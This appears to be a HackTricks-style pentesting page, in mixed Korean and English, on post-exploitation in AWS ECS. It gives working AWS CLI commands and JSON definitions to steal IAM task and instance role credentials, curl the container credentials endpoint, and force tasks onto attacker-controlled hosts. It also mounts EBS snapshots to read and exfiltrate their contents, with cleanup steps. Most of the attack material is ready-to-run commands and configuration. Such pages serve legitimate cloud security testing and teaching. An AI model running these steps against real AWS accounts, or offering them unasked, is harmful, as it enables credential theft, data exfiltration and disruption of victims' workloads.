8.1 KiB
AWS - ECS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
ECS
For more information check:
{{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}}
호스트 IAM Roles
In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
이는 ECS 인스턴스를 compromise할 수 있다면 잠재적으로 ECR 및 EC2 인스턴스와 연결된 IAM role을 얻을 수 있음을 의미합니다. 이러한 자격증명을 얻는 방법에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}}
Caution
IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
Privesc to node to steal other containers creds & secrets
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.
현재 호스트에서 containers 실행시키기
Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
동일한 기법은 클러스터에서 EC2 인스턴스의 등록을 해제함으로써 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 작업이 다른 인스턴스에서 실행되도록 강제합니다:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
작업의 재실행을 강제하는 마지막 기법은 ECS에 task or container was stopped을 알리는 것입니다. 이를 위해 사용할 수 있는 API는 3가지가 있습니다:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
공격자 호스트로 클러스터에 합류하기 (Register Container Instance)
다른 변형(드레이닝보다 더 직접적인 방법)은 EC2 인스턴스를 container instance로 등록하고(ecs:RegisterContainerInstance) 필요한 container instance 속성을 설정하여 placement constraints가 일치하도록 함으로써 자신이 제어하는 용량을 추가하는 것입니다. 작업들이 여러분의 호스트에 배치되면, 컨테이너를 inspect/exec into containers하여 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 자격증명을 수집할 수 있습니다.
See the ECS privesc page section on ecs:RegisterContainerInstance for the full workflow.
ECR 컨테이너에서 민감한 정보 훔치기
EC2 인스턴스는 아마도 ecr:GetAuthorizationToken 권한도 가지고 있어 이미지를 다운로드할 수 있습니다(이미지 안에서 민감한 정보를 찾을 수 있음).
Steal Task Role Credentials via ecs:ExecuteCommand
If ExecuteCommand is enabled on a task, a principal with ecs:ExecuteCommand + ecs:DescribeTasks can open a shell inside the running container and then query the task credentials endpoint to harvest the task role credentials:
- From inside the container:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - Use the returned
AccessKeyId/SecretAccessKey/Tokento call AWS APIs as the task role
See the ECS privilege escalation page for enumeration and command examples.
Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
ECS의 네이티브 EBS 통합(2024+)을 악용하여 기존 EBS 스냅샷의 내용을 새 ECS task/service 내부에 직접 마운트하고 컨테이너 안에서 데이터를 읽을 수 있습니다.
-
Needs (minimum):
-
ecs:RegisterTaskDefinition
-
One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole on:
-
ECS infrastructure role used for volumes (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenced by the task definition
-
If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
-
Impact: 컨테이너 내에서 스냅샷의 임의 디스크 내용을 읽고(예: 데이터베이스 파일) exfiltrate via network/logs.
Steps (Fargate example):
- Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
configuredAtLaunch로 표시된 volume을 가진 task definition을 등록하고 이를 container에 마운트합니다. 예시 (비밀을 출력한 후 대기):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- EBS 스냅샷을
volumeConfigurations.managedEBSVolume로 전달하여 서비스를 생성하거나 업데이트합니다 (infra role에 iam:PassRole 필요). 예:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- 작업이 시작되면, 컨테이너는 구성된 마운트 경로(예:
/loot)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via the task’s network/logs.
정리:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
참고자료
{{#include ../../../../banners/hacktricks-training.md}}